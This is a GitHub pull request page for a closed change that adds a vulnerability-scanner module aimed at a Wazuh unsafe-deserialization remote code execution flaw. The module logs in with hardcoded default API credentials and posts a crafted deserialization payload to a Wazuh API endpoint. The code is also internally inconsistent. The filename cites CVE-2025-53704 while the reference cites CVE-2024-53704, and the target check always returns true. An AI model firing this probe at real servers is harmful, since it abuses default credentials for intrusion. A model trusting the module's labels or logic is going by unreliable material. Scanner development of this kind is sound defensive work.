Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Detection for CVE-2025-53704 #181

Closed
wants to merge 1 commit into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
84 changes: 84 additions & 0 deletions agent/exploits/cve_2025_53704.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
"""Agent Asteroid implementation for CVE-2024-53704"""

import base64
import datetime
import logging

from requests import exceptions as requests_exceptions

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

VULNERABILITY_TITLE = "Wazuh Remote Code Execution (RCE)"
VULNERABILITY_REFERENCE = "CVE-2024-53704"
VULNERABILITY_DESCRIPTION = """
A remote code execution (RCE) vulnerability in Wazuh allows remote attackers with API access
(compromised dashboard, Wazuh servers in the cluster, or certain configurations with compromised agents)
to execute arbitrary code on the server due to unsafe deserialization in the `wazuh-manager` package.
"""
RISK_RATING = "CRITICAL"
DEFAULT_TIMEOUT = datetime.timedelta(seconds=10)
WAZUH_API_ENDPOINT = "/security/user/authenticate/run_as"
WAZUH_INDICATOR = "<title>Wazuh</title>"
WAZUH_VERSION_INDICATOR = "wazuhVersion"


@exploits_registry.register
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you should add the location to the reported vuln, (consult @elyousfi5 's PR)

class WazuhRCEExploit(webexploit.WebExploit):
"""
CVE-2024-53704: Wazuh Remote Code Execution (RCE)
"""

metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)

def accept(self, target: definitions.Target) -> bool:
"""
Check if the target appears to be a Wazuh server.
"""
try:
response = self.session.get(
f"{target.origin}", verify=False, timeout=DEFAULT_TIMEOUT.seconds
)
return WAZUH_INDICATOR or WAZUH_VERSION_INDICATOR in response.text
except requests_exceptions.RequestException:
return False

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""
Exploit the unsafe deserialization vulnerability in Wazuh.
"""
vulnerabilities: list[definitions.Vulnerability] = []

headers = {
"Authorization": "Basic "
+ base64.b64encode(b"wazuh-wui:MyS3cr37P450r.*-").decode(),
"Content-Type": "application/json",
}

payload = {"__unhandled_exc__": {"__class__": "exit", "__args__": []}}

try:
response = self.session.post(
f"{target.origin}{WAZUH_API_ENDPOINT}",
headers=headers,
json=payload,
verify=False,
timeout=DEFAULT_TIMEOUT.seconds,
)

if response.status_code == 200:
logging.info(

Check warning on line 76 in agent/exploits/cve_2025_53704.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2025_53704.py#L76

Added line #L76 was not covered by tests
"Potential RCE vulnerability detected on %s", target.origin
)
vuln = self._create_vulnerability(target)
vulnerabilities.append(vuln)
except requests_exceptions.RequestException as e:
logging.error("Error while exploiting Wazuh RCE: %s", e)

Check warning on line 82 in agent/exploits/cve_2025_53704.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2025_53704.py#L79-L82

Added lines #L79 - L82 were not covered by tests

return vulnerabilities
Loading